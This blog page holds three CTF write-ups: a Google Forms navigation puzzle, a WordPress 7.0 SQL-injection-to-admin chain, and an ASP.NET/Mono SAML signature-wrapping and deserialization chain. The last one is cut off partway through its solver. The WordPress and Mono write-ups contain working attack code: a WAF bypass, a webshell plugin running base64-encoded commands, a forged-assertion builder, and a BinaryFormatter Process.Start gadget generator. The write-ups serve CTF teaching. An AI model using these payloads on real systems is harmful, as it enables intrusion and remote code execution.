Multiflora_Rose

LIT CTF 2026 Writeup: no way out

Sun, 09 Aug 2026 00:00:00 GMT

The no way out Google Form challenge

Final flag: LITCTF{y0u_3sc4ped_th3_f0rm_6bq3}

The title, no way out, is the first hint: the important part is not just answering questions, but understanding how the form navigates between sections.

1. Testing the form#

The first question asks:

What’s the first part of the flag?

I tried submitting:

1
LITCTF{

The form replied:

nope, that’s wrong

That tells us the form is validating answers on the client side. Since this is Google Forms, the next step is to inspect what the browser already received.

2. Reading the form source#

Using DevTools, search the page source for:

1
FB_PUBLIC_LOAD_DATA_

This is Google Forms’ public form data. It contains much more than the visible questions:

questions and choices;
validation rules;
section routes;
hidden section text;
the form’s navigation state.

The expected first answer is exposed in the validation data:

1
LITCTF{y0u_

So the flag begins with:

1
LITCTF{y0u_

The important lesson is simple:

Client-side validation is not secret. If the browser needs the expected answer, the expected answer is usually present somewhere in the page data.

The same source also exposes the hidden form state, including pageHistory.

The public Google Forms data containing the challenge structure

3. Recovering `3sc4ped`#

After the first part, the form asks for the next letter several times. Each page presents many choices, but most choices route backward. Only one choice continues forward.

The routes in FB_PUBLIC_LOAD_DATA_ make this visible. Conceptually:

1
a -> old section
2
b -> old section
3
c -> old section
4
3 -> next section
5
4 -> old section
6
...

There is no need to brute-force the answer. Pick the choice whose destination differs from the old/backward section.

Repeating this process gives:

1
3 s c 4 p e d

At this point, the flag is:

1
LITCTF{y0u_3sc4ped

The same progress can also appear in the hidden partialResponse field after the answers are submitted.

4. The trap page#

The form eventually shows:

You’re trapped here. You can still access the past, but not the future.

That message is the next hint.

Google Forms tracks visited sections with a hidden input:

1
<input type="hidden" name="pageHistory" value="0,1,2,3,4,5,6,7,8">

pageHistory is not the flag. It is the list of pages that Google Forms believes we have already visited.

Because this state is client-side, we can edit it.

At the trap page, change:

1
0,1,2,3,4,5,6,7,8

to:

1
0,1,2,3,4,5,6,7,8,9

Then use the form’s back navigation. This lets us enter the first hidden future page, where the next fragment is revealed:

1
_th3_f0rm_

After continuing forward, the form gives:

1
6b
2
q3

The last page contributes:

1
}

The hidden page-history state used to reach the next section

5. Why add only `9`?#

This is the key detail.

We do not need to write:

1
0,1,2,3,4,5,6,7,8,9,10,11,12,13,14

We only need to fake access to the first hidden future page. Once we enter that page, Google Forms continues its normal routing and updates pageHistory itself.

So:

1
0,1,2,3,4,5,6,7,8,9

means:

Let me enter the first future page.

Adding many more page numbers manually can reveal decoy sections. More pages do not mean more correct flag characters.

The correct strategy is:

use FB_PUBLIC_LOAD_DATA_ to understand the real routes;
use pageHistory to reach the hidden path;
let the form’s own navigation reveal the valid fragments.

6. Shortest solving script#

Once the form structure is understood, the solve can be reduced to a small parser:

1
import re, json, requests
2

3
s = requests.get("https://forms.gle/kniocxKJN1RiDaTU7").text
4
d = json.loads(re.search(r"FB_PUBLIC_LOAD_DATA_ = (.*?);", s, re.S)[1])[1][1]
5

6
flag = d[0][4][0][4][0][2][0]
7

8
for x in d:
9
    if (x[1] or "").startswith("What's the next letter"):
10
        flag += next(c[0] for c in x[4][0][1] if c[2] != 588010028)
11

12
sec = [0] + [i for i, x in enumerate(d) if x[3] == 8]
13

14
for i in (9, 16, 11, 20):
15
    flag += re.sub(r"Here's.*flag:\s*|\s+", "", d[sec[i]][2])
16

17
print(flag)

Show moreShow less

Output:

1
LITCTF{y0u_3sc4ped_th3_f0rm_6bq3}

Final flag#

Combining the valid fragments:

1
LITCTF{y0u_
2
3sc4ped
3
_th3_f0rm_
4
6b
5
q3
6
}

gives:

1
LITCTF{y0u_3sc4ped_th3_f0rm_6bq3}

Takeaway#

The form says there is no way out, but the browser already has the map.

The solve uses three client-side observations:

1
FB_PUBLIC_LOAD_DATA_ -> form structure, answers, and routing
2
partialResponse      -> saved answers
3
pageHistory          -> editable visited-page history

The essential bypass is changing:

1
0,1,2,3,4,5,6,7,8

to:

1
0,1,2,3,4,5,6,7,8,9

That is enough to enter the hidden future path. From there, the form’s own routing leads to the remaining real flag fragments.

COMPFEST CTF 2026 Writeup: Egg

Mon, 31 Aug 2026 00:00:00 GMT

TL;DR#

The Egg theme is mostly a distraction. The page only gives us an egg image and an MP3, but the server is running WordPress 7.0. That version is vulnerable to the wp2shell chain: a batch desynchronisation bypasses the REST permission check, author__not_in gives us SQL injection, and WordPress’s own oEmbed cache turns the injected rows into database writes.

That gets us a temporary administrator. From there, we log in, upload a tiny plugin, and use its REST route to run cat /flag.txt.

The Egg challenge homepage

The first page is a black screen with a small pixel tree. The visible Egg theme does not contain the flag.

1. First look#

The first request only gives us egg.gif and egg.mp3. There is no useful content in the page itself, so I checked the WordPress version from the usual public fingerprints and found WordPress 7.0.

That version is the useful clue. The theme name and the two Egg files are decoys; the intended path is in WordPress core.

2. Researching WordPress 7.0#

The version number gave me something concrete to search for. I searched Google for WordPress 7.0 vulnerabilities and found the WordPress 7.0.2 security release. It names a REST API batch-route confusion issue and a SQL injection issue that can be chained into remote code execution, and lists them as CVE-2026-63030 and CVE-2026-60137.

That led me to mcipekci/wp2shell. Its README describes a single-file proof of concept for the same two bugs and lists WordPress 7.0.0 to 7.0.1 as vulnerable, with 7.0.2 as the patched release. The challenge reports WordPress 7.0, so the PoC was a good match for the target.

The version, the REST batch endpoint, and the matching PoC gave us a much shorter path to test.

3. Why `wp2shell` works here#

The supplied wp2shell tool targets the WordPress versions affected by two bugs:

Bug	Location	What it gives us
`CVE-2026-63030`	`POST /?rest_route=/batch/v1`	A malformed sub-request desynchronises the batch handler and validation arrays, so a later request is dispatched without the check that should protect it.
`CVE-2026-60137`	`WP_Query` and `author__not_in`	A value reaches SQL without being safely constrained, which lets us inject a `UNION ALL SELECT`.

The SQL injection is not enough by itself. It lets us fabricate rows, but we still need a write primitive and a way to become an administrator.

The useful bridge is WordPress’s oEmbed handling. A fabricated post containing [embed] causes WordPress to create an oembed_cache postmeta row. The injected data therefore moves from a read-only result into a real database write. The chain then creates a customizer changeset and a queued request that WordPress replays as the real administrator long enough to create a new admin account.

The public PoC used in the archive is mcipekci/wp2shell. It is a single Python file and already understands the WordPress batch format used by this challenge.

4. The WAF only watches the URL#

The stock request is blocked by the host WAF:

1
X-Egg-WAF: blocked

The problem is the URL form of the request. The tool also supports sending rest_route and the batch fields inside a multipart/form-data body. That keeps the suspicious route out of the query string while WordPress still receives the same batch request.

The WAF blocking the normal request

The stock primer is blocked. Moving the route into a multipart body lets the request reach WordPress.

The important command-line change is:

Terminal window

1
python3 wp2shell.py http://34.2.22.80:30096 --check --form

With --form, the check reports the vulnerable batch confusion and the author__not_in injection. Without it, the WAF blocks the request before WordPress sees it.

5. From SQL injection to a temporary admin#

The tool uses the batch confusion twice. The outer request reaches the public posts endpoint, and the inner request puts our value into author__not_in. The UNION ALL SELECT then fabricates the rows needed by the rest of the chain.

Terminal window

1
python3 wp2shell.py http://34.2.22.80:30096 --dump --form

This is enough to confirm the table prefix and read the data needed to construct the write. There is no reason to crack the administrator’s password hash. The chain creates a new administrator instead.

Terminal window

1
python3 wp2shell.py http://34.2.22.80:30096 --exec "id" --form

At this point the tool can create the account, but its automatic login misses one WordPress detail. wp-login.php expects the wordpress_test_cookie flow. The account exists, but logging in with only the proxy cookie produces the “Cookies are blocked” page.

I fixed that by keeping two cookie jars: one for the CTFd proxy token and one for the WordPress session. The login request includes testcookie=1, then I verify the result by fetching /wp-admin/.

The WordPress dashboard after creating the temporary administrator

The temporary administrator is logged in. The original admin account and the generated account are visible in the user list.

The flag is not in the WordPress database. It is stored in /flag.txt, outside the web root, so we still need command execution.

6. Upload a small plugin#

As the temporary administrator, open the plugin upload page, read its _wpnonce, and upload a zip containing this plugin:

1
<?php /** Plugin Name: Helper */
2
add_action('rest_api_init', function(){
3
  register_rest_route('h123/v1', '/r', [
4
    'methods' => 'POST',
5
    'callback' => fn($r) => [
6
      'data' => shell_exec(base64_decode($r->get_param('x')) . " 2>&1")
7
    ],
8
    'permission_callback' => '__return_true'
9
  ]);
10
});

The plugin adds /h123/v1/r. Its permission callback returns true, so the route does not need another WordPress nonce after activation.

The helper plugin upload page

The generated plugin is uploaded and activated from the WordPress admin page.

The command is base64 encoded before it is sent to the route:

Terminal window

1
echo -n "cat /flag.txt" | base64 -w0
2
# Y2F0IC9mbGFnLnR4dA==
3

4
curl -b "ctfd_proxy_token=..." -b wp.txt \\
5
  -H "Content-Type: application/json" \\
6
  -d '{"x":"Y2F0IC9mbGFnLnR4dA=="}' \\
7
  'http://34.2.22.80:30096/index.php?rest_route=/h123/v1/r'

The flag returned through the helper plugin

The response is:

1
{"data":"COMPFEST18{th3_3gg_h4s_h4tch3d_os9VLnOWKSQp2PQ4}\n"}

The wp2shell tool reporting the multipart mode

--form is the part that gets past the host WAF. WordPress still receives the batch request in the body.

7. The complete solver#

solve.py automates the full chain described above:

attach the CTFd proxy cookie;
use --form mode to reach the vulnerable batch endpoint;
create a temporary administrator through the SQLi to oEmbed write chain;
log in with the WordPress test cookie;
upload and activate the helper plugin;
call the helper route and print the flag.

The version shown here leaves the CTFd token out of the post. Set it in CTFD_PROXY_TOKEN when running the script. solve.py is the orchestration layer: it calls the lower-level wp2shell module, finishes the WordPress login and plugin steps, requests /flag.txt, and extracts the flag from the response.

1
#!/usr/bin/env python3
2
import base64
3
import http.cookiejar
4
import io
5
import json
6
import os
7
import pathlib
8
import re
9
import secrets
10
import ssl
11
import sys
12
import urllib.parse
13
import urllib.request
14
import zipfile
15

16
CTFD = os.environ["CTFD_PROXY_TOKEN"]
17
ROOT = sys.argv[1] if len(sys.argv) > 1 else "http://34.2.22.80:30096"
18
ROOT = ROOT.rstrip("/")
19

20
HERE = pathlib.Path(__file__).parent
21
sys.path.insert(0, str(HERE))
22
import wp2shell
23

24
wp2shell.CTFD_COOKIE = f"ctfd_proxy_token={CTFD}"
25
orig_make = wp2shell._make_opener
26

27

28
def patched_make(proxy=None, cookies=None, user_agent=None):
29
    opener = orig_make(proxy, cookies, user_agent)
30
    opener.addheaders = [
31
        (key, value)
32
        for key, value in opener.addheaders
33
        if key.lower() != "cookie"
34
    ] + [("Cookie", wp2shell.CTFD_COOKIE)]
35
    return opener
36

37

38
wp2shell._make_opener = patched_make
39
from wp2shell import WordPressTarget, create_admin_and_run
40

41
print(f"[*] target {ROOT}")
42
target = WordPressTarget(ROOT, verbose=False)
43
target.form = True
44
if not target.arm():
45
    raise SystemExit("[-] target did not report as vulnerable")
46
print(f"[+] vulnerable mode={target.mode}")
47

48
login, password, _, _ = create_admin_and_run(target, "id")
49
print(f"[+] temporary admin {login}:{password}")
50

51

52
def login_as_admin(root, username, password):
53
    jar = http.cookiejar.MozillaCookieJar()
54
    opener = urllib.request.build_opener(
55
        urllib.request.HTTPCookieProcessor(jar),
56
        urllib.request.HTTPSHandler(
57
            context=ssl._create_unverified_context()
58
        ),
59
    )
60
    opener.addheaders = [
61
        ("User-Agent", "Mozilla/5.0"),
62
        ("Cookie", f"ctfd_proxy_token={CTFD}"),
63
    ]
64

65
    def request(path, data=None, headers=None):
66
        req = urllib.request.Request(
67
            root + path,
68
            data=data,
69
            headers=headers or {},
70
            method="POST" if data else "GET",
71
        )
72
        return opener.open(req, timeout=30).read().decode()
73

74
    request("/wp-login.php")
75
    form = urllib.parse.urlencode({
76
        "log": username,
77
        "pwd": password,
78
        "wp-submit": "Log In",
79
        "redirect_to": root + "/wp-admin/",
80
        "testcookie": "1",
81
    }).encode()
82
    request("/wp-login.php", data=form)
83
    assert "Dashboard" in request("/wp-admin/"), "login failed"
84
    return opener
85

86

87
opener = login_as_admin(ROOT, login, password)
88
print("[+] logged in as temporary admin")
89

90
plugin = b'''<?php /** Plugin Name: Helper */ add_action('rest_api_init',function(){register_rest_route('h123/v1','/r',['methods'=>'POST','callback'=>fn($r)=>["data"=>shell_exec(base64_decode($r->get_param('x'))." 2>&1")],'permission_callback'=>'__return_true']);});'''
91
archive = io.BytesIO()
92
with zipfile.ZipFile(archive, "w", zipfile.ZIP_DEFLATED) as z:
93
    z.writestr("helper-egg/helper-egg.php", plugin)
94
archive.seek(0)
95

96
upload_page = opener.open(
97
    urllib.request.Request(ROOT + "/wp-admin/plugin-install.php?tab=upload")
98
).read().decode()
99
nonce = re.search(r'name="_wpnonce" value="([^"]+)"', upload_page).group(1)
100
boundary = "b" + secrets.token_hex(14)
101
body = (
102
    f"--{boundary}\r\nContent-Disposition: form-data; name=\"_wpnonce\"\r\n\r\n{nonce}\r\n"
103
    f"--{boundary}\r\nContent-Disposition: form-data; name=\"_wp_http_referer\"\r\n\r\n/wp-admin/plugin-install.php?tab=upload\r\n"
104
    f"--{boundary}\r\nContent-Disposition: form-data; name=\"pluginzip\"; filename=\"helper-egg.zip\"\r\nContent-Type: application/zip\r\n\r\n"
105
).encode() + archive.getvalue() + f"\r\n--{boundary}--\r\n".encode()
106
upload = urllib.request.Request(
107
    ROOT + "/wp-admin/update.php?action=upload-plugin",
108
    data=body,
109
    headers={"Content-Type": f"multipart/form-data; boundary={boundary}"},
110
)
111
uploaded = opener.open(upload).read().decode()
112
activate = re.search(r'plugins\.php\?action=activate[^"]+', uploaded)
113
assert activate, "plugin upload failed"
114
opener.open(urllib.request.Request(
115
    ROOT + "/wp-admin/" + activate.group(0).replace("&amp;", "&")
116
))
117
print("[+] plugin activated")
118

119
command = base64.b64encode(b"cat /flag.txt").decode()
120
request = urllib.request.Request(
121
    ROOT + "/index.php?rest_route=/h123/v1/r",
122
    data=json.dumps({"x": command}).encode(),
123
    headers={"Content-Type": "application/json"},
124
)
125
output = json.loads(opener.open(request).read().decode())["data"]
126
print(output)
127
match = re.search(r"COMPFEST18\{[^}]+\}", output)
128
if match:
129
    print(f"[+] FLAG: {match.group(0)}")

Show moreShow less

Run it with the token in the environment:

Terminal window

1
export CTFD_PROXY_TOKEN='your-private-ctfd-proxy-token'
2
python3 solve.py http://34.2.22.80:30096

Expected output:

1
[*] target http://34.2.22.80:30096
2
[+] vulnerable mode=union
3
[+] temporary admin ...
4
[+] logged in as temporary admin
5
[+] plugin activated
6
[+] FLAG: COMPFEST18{th3_3gg_h4s_h4tch3d_os9VLnOWKSQp2PQ4}

Flag#

1
COMPFEST18{th3_3gg_h4s_h4tch3d_os9VLnOWKSQp2PQ4}

What I learned#

The useful version number was in WordPress core, not in egg.gif or egg.mp3.
A WAF rule that only checks the URL can miss the same route when it arrives in a multipart body.
SQL injection can sometimes become a write primitive through application behaviour. Here, WordPress cached injected [embed] rows as oembed_cache metadata.
Automatic login was the only awkward part of the chain. The generated account worked once the wordpress_test_cookie flow was included.
The final plugin was deliberately small. It accepted a base64 encoded command, ran it with shell_exec, and returned the output through a REST response.

References and further reading#

These references explain the platform behaviour behind the chain: the security release identifies the fixes, wp2shell shows the exploit path, and the WordPress documentation provides context for the REST, query, and oEmbed behaviour used in the solve.

BrunnerCTF 2026 Writeup: Technical Debt

Sun, 23 Aug 2026 00:00:00 GMT

Description#

We inherit an internal news board that was originally built for Windows/IIS, then “ported” to Linux with Mono and xsp4. The challenge gives us a normal user account and a deliberately fragile authentication and image-management implementation to investigate.

The live challenge credentials and connection details are omitted here because the instance is no longer available. They are not needed to understand the vulnerability chain.

TL;DR#

The solve is a three-bug chain:

SAML signature wrapping → Admin. The verifier accepts a signature buried in the original assertion, while the claims reader consumes a forged root assertion containing NewsBoard-Admins.
Mass assignment → controlled bytes. As admin, upload an image and send an extra Content field to RenameImage to replace the stored serialized blob.
Mono deserialization → command execution. /News/Image/{id} deserializes the attacker-controlled blob. A Mono-compatible gadget runs find, copies the random flag into /app/found_flag.txt, and makes it readable through the web server.

How to solve?#

After logging in, the baseline page looks like this:

Technical Debt baseline dashboard

The normal post-login view. The User badge is useful as a baseline before trying to forge an admin session.

The challenge gives us an internal news board, a fake ADFS login server, and credentials for a normal user. The application is an ASP.NET MVC site running on Linux with Mono and xsp4. That porting detail is more than flavour text: it affects both the parser behaviour and the final deserialization gadget.

The solve has three parts:

turn a signed normal-user SAML assertion into an admin session;
use an image endpoint and mass assignment to store arbitrary bytes;
make Mono deserialize those bytes and copy the flag into a file the web server can serve.

1. Understanding the application#

The challenge archive contains an ASP.NET MVC application, a small Flask ADFS mock, and a Docker setup. The Dockerfile pins the web container to mono:6.6.0.161, installs mono-xsp4, and places the flag at the container root under a random filename:

1
RUN echo "brunner{REDACTED}" > /flag_`openssl rand -hex 8`.txt
2
WORKDIR /app
3
CMD ["xsp4", "--nonstop", "--address", "0.0.0.0", "--port", "8080", "--applications=/:."]

The application serves /app, but the flag is outside that directory. A successful exploit therefore needs command execution. The command only has to copy /flag_* into /app/found_flag.txt; after that, a normal request can read it.

The challenge credentials are supplied in the prompt. I used them to establish the normal User session shown in the screenshot above. I am leaving the password out of this post because it is not needed to understand the vulnerability.

2. The login flow#

The application does not process the password itself. When unauthenticated, it redirects to the ADFS mock with a WS-Federation request. The IdP login form carries hidden wreply, wctx, and wtrealm fields. After the credentials are accepted, the IdP returns an auto-submitting form containing wresult.

wresult is XML containing a SAML assertion. The browser sends that XML back to the application, which validates it and creates the session cookie.

The normal assertion contains claims such as:

1
<Attribute AttributeName="name">
2
  <AttributeValue>john.doe@brunnerne.local</AttributeValue>
3
</Attribute>
4
<Attribute AttributeName="http://schemas.microsoft.com/ws/2008/06/identity/claims/groups">
5
  <AttributeValue>NewsBoard-Users</AttributeValue>
6
</Attribute>

The group controls the application role. NewsBoard-Users is read-only, while NewsBoard-Admins can manage images. The first useful signal is therefore simple: a normal login shows User; an accepted forged assertion should show Admin.

Normal session showing the User role before token forgery

3. SAML signature wrapping#

The interesting code is the custom signature validator in Startup.cs:

1
var signature = document
2
    .GetElementsByTagName("Signature", "http://www.w3.org/2000/09/xmldsig#")
3
    .OfType<XmlElement>()
4
    .SingleOrDefault();
5

6
var signedXml = new SamlSignedXml(document);
7
signedXml.LoadXml(signature);

The validator searches the whole XML document for one signature. The custom ID resolver then falls back to an XPath query that also searches the whole document:

1
public override XmlElement GetIdElement(XmlDocument document, string idValue)
2
{
3
    var element = base.GetIdElement(document, idValue);
4
    if (element != null) return element;
5

6
    return document.SelectSingleNode(
7
        "//*[@AssertionID='" + idValue.Replace("'", "&apos;") + "']"
8
    ) as XmlElement;
9
}

An XML signature references an element by ID. Here, the signature verifier can find the signed assertion somewhere in the document, while the SAML claims reader later reads the root assertion. Those two consumers do not have to read the same assertion.

That is the signature-wrapping primitive: keep the original signed assertion unchanged for the verifier, then put attacker-controlled claims in the assertion the claims reader uses.

Failed attempts were useful#

I tried a few shapes before finding the one that the exact library versions accepted:

Attempt	Result	What it showed
Add admin groups to the original assertion	Authentication failed	The signature covers the original bytes
Put forged and original assertions side by side	Authentication failed	The application reads the first root element
Put the original assertion after the statements	Authentication failed	SAML child order matters
Put the original inside `<Advice>` after the statements	Authentication failed	`<Advice>` must appear before statements
Put the original outside `RequestedSecurityToken`	Authentication failed	The validator never reaches it

Why does <Advice> work as the hiding spot? The strict SAML reader in IdentityModel 5.3.0 throws on any unknown direct child of an assertion (IDX11129). The single exception is ReadAdvice(), which explicitly parses nested saml:Assertion elements inside <Advice>. That tolerance is exactly why the untouched original assertion survives parsing there while the same XML placed anywhere else gets rejected.

The working structure is one root assertion with this order:

1
Conditions -> Advice -> AuthenticationStatement -> AttributeStatement

The original assertion, including its signature, goes inside Advice. The root assertion gets a fresh AssertionID, the original issuer and audience values, fresh validity timestamps, and three group claims:

These values are not cosmetic. After the custom signature validator returns, the middleware re-validates issuer, audience, and lifetime against the token it received back — which is the forged root assertion — so every one of them must independently pass inspection.

1
NewsBoard-Users
2
NewsBoard-Editors
3
NewsBoard-Admins

The validator sees exactly one signature. Its reference resolves to the untouched assertion buried in Advice. The SAML reader sees the new root assertion and extracts the admin group.

The important part of the forged XML looks like this:

1
<Assertion AssertionID="_fresh_id" Issuer="original_issuer">
2
  <Conditions>...</Conditions>
3
  <Advice>
4
    <!-- the complete original signed assertion, unchanged -->
5
  </Advice>
6
  <AuthenticationStatement>...</AuthenticationStatement>
7
  <AttributeStatement>
8
    <Attribute AttributeName=".../groups">
9
      <AttributeValue>NewsBoard-Admins</AttributeValue>
10
    </Attribute>
11
  </AttributeStatement>
12
</Assertion>

The full logic is in forge_admin_token() in the supplied solve.py. The script logs in once to capture a genuine signed assertion and a second time to obtain a fresh, valid WS-Federation state value before posting the forged wresult.

Admin news board after the forged SAML token

4. From Admin to arbitrary bytes#

Once the session is admin, the image management endpoints become available. The normal upload path creates a database row and serializes the image bytes with BinaryFormatter.

The dangerous part is the rename endpoint:

1
[HttpPost]
2
public ActionResult RenameImage(NewsImage image)
3
{
4
    if (!NewsBoardRoles.IsAdmin(User)) return new HttpStatusCodeResult(403);
5
    image.Name = (image.Name ?? string.Empty).Trim();
6
    store.UpdateImage(image);
7
    return RedirectToAction("Admin");
8
}

NewsImage contains more than the name:

1
public class NewsImage
2
{
3
    public Guid Id { get; set; }
4
    public string Name { get; set; }
5
    public string ContentType { get; set; }
6
    public byte[] Content { get; set; }
7
}

The repository trusts every populated field:

1
public bool UpdateImage(NewsImage input)
2
{
3
    var image = db.NewsImages.SingleOrDefault(i => i.Id == input.Id);
4
    if (image == null) return false;
5

6
    image.Name = input.Name.Trim();
7
    if (input.ContentType != null) image.ContentType = input.ContentType;
8
    if (input.Content != null) image.Content = input.Content;
9
    db.SaveChanges();
10
    return true;
11
}

The form only needs Id and Name, but the MVC model binder also accepts a Content field. Sending Content=<base64 payload> overwrites the serialized image in the database. This is mass assignment: the server binds the whole model even though the endpoint intends to rename one field.

The relevant request is small:

1
s.post(APP + "/News/RenameImage", data={
2
    "Id": image_id,
3
    "Name": "p",
4
    "ContentType": "image/png",
5
    "Content": payload,
6
})

5. The deserialization sink#

The public image action has no permission check:

1
public ActionResult Image(Guid id)
2
{
3
    var image = store.FindImage(id);
4
    if (image == null) return HttpNotFound();
5

6
    using (var stream = new MemoryStream(image.Content))
7
    {
8
        var imageBytes = new BinaryFormatter().Deserialize(stream) as byte[];
9
        if (imageBytes == null) return HttpNotFound();
10
        return File(imageBytes, image.ContentType);
11
    }
12
}

The original upload serializes an image byte array. The later rename request lets us replace that serialized value with a different BinaryFormatter object. A request to /News/Image/{id} deserializes attacker-controlled data.

The 404 response is useful here. If the gadget runs and returns an object that is not a byte[], the as byte[] cast produces null, so the controller returns 404. A 500 usually means the payload failed during deserialization.

6. Building a Mono-compatible gadget#

The supplied gen.cs uses TypeConfuseDelegateMono. It creates a SortedSet<string> whose comparison delegate is changed to Process.Start before serialization. When the set is reconstructed, the comparison callback runs.

The core setup is:

1
Delegate da = new Comparison<string>(String.Compare);
2
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
3
IComparer<string> comp = Comparer<string>.Create(d);
4
SortedSet<string> set = new SortedSet<string>(comp);
5
set.Add(fileName);
6
set.Add(arguments);

The delegate invocation list is then replaced with Process.Start, and the set is serialized with BinaryFormatter. The generator must run under the same Mono version as the target:

Terminal window

1
docker run --rm \
2
  -v "$PWD:/w" -w /w mono:6.6.0.161 \
3
  sh -c 'mcs -out:gen.exe gen.cs && mono gen.exe ...'

The quoting problem#

The first command I tried used /bin/sh -c with nested quotes. Mono rejected the unbalanced argument string during deserialization, producing an HTTP 500.

Calling a simple executable directly worked:

1
file: /usr/bin/touch
2
args: /app/pwned1
3
trigger: 404
4
GET /pwned1: 200

The flag filename is random, so the final command needs wildcard matching. Instead of invoking a shell, I used find, which performs the matching itself:

1
file: /usr/bin/find
2
args: / -maxdepth 1 -name flag_* -exec cp {} /app/found_flag.txt ;

This avoids shell quoting completely. The gadget starts find, find locates the random flag file, and cp places it under /app, where xsp4 can serve it.

7. The complete programs#

The two supplied programs have distinct jobs:

File	Purpose
`solve.py`	Replays the login flow and runs the complete attack chain
`gen.cs`	Builds the Mono-compatible `BinaryFormatter` payload bytes

These are the two programs used for the solve. The public version changes only the challenge host and account values to placeholders. Use them only against the authorised CTF instance.

`gen.cs`#

1
using System;
2
using System.Collections.Generic;
3
using System.Diagnostics;
4
using System.IO;
5
using System.Reflection;
6
using System.Runtime.Serialization.Formatters.Binary;
7

8
class Gen
9
{
10
    static SortedSet<string> Gadget(string fileName, string arguments)
11
    {
12
        Delegate da = new Comparison<string>(String.Compare);
13
        Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
14
        IComparer<string> comp = Comparer<string>.Create(d);
15
        SortedSet<string> set = new SortedSet<string>(comp);
16
        set.Add(fileName);
17
        set.Add(arguments);
18

19
        FieldInfo fi = typeof(MulticastDelegate).GetField("delegates", BindingFlags.NonPublic | BindingFlags.Instance);
20
        object[] invoke_list = d.GetInvocationList();
21
        invoke_list[0] = new Func<string, string, Process>(Process.Start);
22
        invoke_list[1] = new Func<string, string, Process>(Process.Start);
23
        fi.SetValue(d, invoke_list);
24

25
        return set;
26
    }
27

28
    static void Main(string[] args)
29
    {
30
        string fileName = args[0];
31
        string arguments = args[1];
32
        SortedSet<string> set = Gadget(fileName, arguments);
33
        BinaryFormatter bf = new BinaryFormatter();
34
        using (MemoryStream ms = new MemoryStream())
35
        {
36
            bf.Serialize(ms, set);
37
            Console.WriteLine(Convert.ToBase64String(ms.ToArray()));
38
        }
39
    }
40
}

Show moreShow less

`solve.py`#

1
#!/usr/bin/env python3
2
"""
3
Technical Debt (Brunnerne CTF) — full solve chain, self-contained.
4

5
  1. login at mock ADFS as john.doe, capture signed wresult XML
6
  2. SAML signature-wrap it -> Admin session
7
     (forged root assertion carries NewsBoard-Admins claim;
8
      the untouched original assertion hides inside <Advice>,
9
      so the signature check still passes on IT)
10
  3. UploadImage (admin)            -> creates news_images row
11
  4. RenameImage mass assignment    -> overwrites stored blob with ysoserial payload
12
  5. GET /News/Image/{id}           -> BinaryFormatter.Deserialize(payload) = RCE
13
       gadget runs: /usr/bin/find / -maxdepth 1 -name flag_* -exec cp {} /app/found_flag.txt ;
14
  6. GET /found_flag.txt            -> flag
15

16
Needs: pip install requests ; docker with mono:6.6.0.161 image ; gen.cs next to this file.
17
"""
18
import html
19
import io
20
import os
21
import re
22
import subprocess
23
import sys
24
import time
25
import uuid
26

27
import requests
28

29
APP = "https://your-technical-debt-host"
30
IDP = "https://your-adfs-host"
31
USER = "the-supplied-username"
32
PWD = "the-supplied-password"
33
HERE = os.path.dirname(os.path.abspath(__file__))
34

35
PNG = bytes.fromhex(
36
    '89504e470d0a1a0a0000000d49484452000000010000000108060000001f15c489'
37
    '0000000a49444154789c6360000002000100ffff03000006000557bfabd40000'
38
    '000049454e44ae426082')
39

40
TS = lambda t: time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime(t))
41
CN = "http://schemas.xmlsoap.org/ws/2005/05/identity/claims"
42
G = "http://schemas.microsoft.com/ws/2008/06/identity/claims/groups"
43

44

45
# ---------------------------------------------------------------- step 1
46
def idp_login():
47
    """Normal WS-Fed login; returns (session, wresult_xml, wreply, wctx)."""
48
    s = requests.Session()
49
    url = s.get(APP + "/", allow_redirects=False).headers["Location"]
50
    page = s.get(url).text
51
    field = lambda k: re.search(r'name="%s" value="([^"]*)"' % k, page).group(1)
52
    data = {"wreply": field("wreply"), "wctx": field("wctx"),
53
            "wtrealm": field("wtrealm"), "username": USER, "password": PWD}
54
    r = s.post(url, data=data)
55
    wresult = html.unescape(re.search(r'name="wresult" value="([^"]*)"', r.text).group(1))
56
    return s, wresult, data["wreply"], data["wctx"]
57

58

59
def parse_original(wresult):
60
    orig = re.search(r'(<ns0:Assertion\b.*</ns0:Assertion>)', wresult, re.S).group(1)
61
    issuer = re.search(r'\bIssuer="([^"]+)"', orig).group(1)
62
    return orig, issuer
63

64

65
# ---------------------------------------------------------------- step 2
66
def forge_admin_token(orig, issuer, realm):
67
    now, fid = time.time(), "_" + uuid.uuid4().hex
68
    subj = ('<Subject><NameIdentifier Format="urn:oasis:names:tc:SAML:1.1:nameid-format:'
69
            f'unspecified">{USER}</NameIdentifier><SubjectConfirmation>'
70
            '<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer'
71
            '</ConfirmationMethod></SubjectConfirmation></Subject>')
72
    attrs = "".join(
73
        f'<Attribute AttributeName="{n}" AttributeNamespace="{CN}">'
74
        f'<AttributeValue>{v}</AttributeValue></Attribute>'
75
        for n, v in [("name", USER)] +
76
                    [(G, g) for g in ("NewsBoard-Users", "NewsBoard-Editors", "NewsBoard-Admins")])
77
    forged = (
78
        f'<Assertion xmlns="urn:oasis:names:tc:SAML:1.0:assertion" MajorVersion="1" '
79
        f'MinorVersion="1" AssertionID="{fid}" Issuer="{issuer}" IssueInstant="{TS(now)}">'
80
        f'<Conditions NotBefore="{TS(now-60)}" NotOnOrAfter="{TS(now+300)}">'
81
        f'<AudienceRestrictionCondition><Audience>{realm}</Audience></AudienceRestrictionCondition></Conditions>'
82
        # the original signed assertion hides here: signature check validates THIS,
83
        # claims are read from the root above -> Admin
84
        f'<Advice>{orig}</Advice>'
85
        f'<AuthenticationStatement AuthenticationMethod="urn:oasis:names:tc:SAML:1.0:am:password" '
86
        f'AuthenticationInstant="{TS(now)}">{subj}</AuthenticationStatement>'
87
        f'<AttributeStatement>{subj}{attrs}</AttributeStatement></Assertion>')
88
    return ('<t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust">'
89
            f'<t:RequestedSecurityToken>{forged}</t:RequestedSecurityToken></t:RequestSecurityTokenResponse>')
90

91

92
def admin_session():
93
    _, wr, _, _ = idp_login()
94
    orig, issuer = parse_original(wr)
95
    tok = forge_admin_token(orig, issuer, APP.rstrip("/"))
96
    s, _, wreply2, wctx2 = idp_login()          # fresh session/state for the POST
97
    # success may be a 302 redirect OR a plain 200; verify by content
98
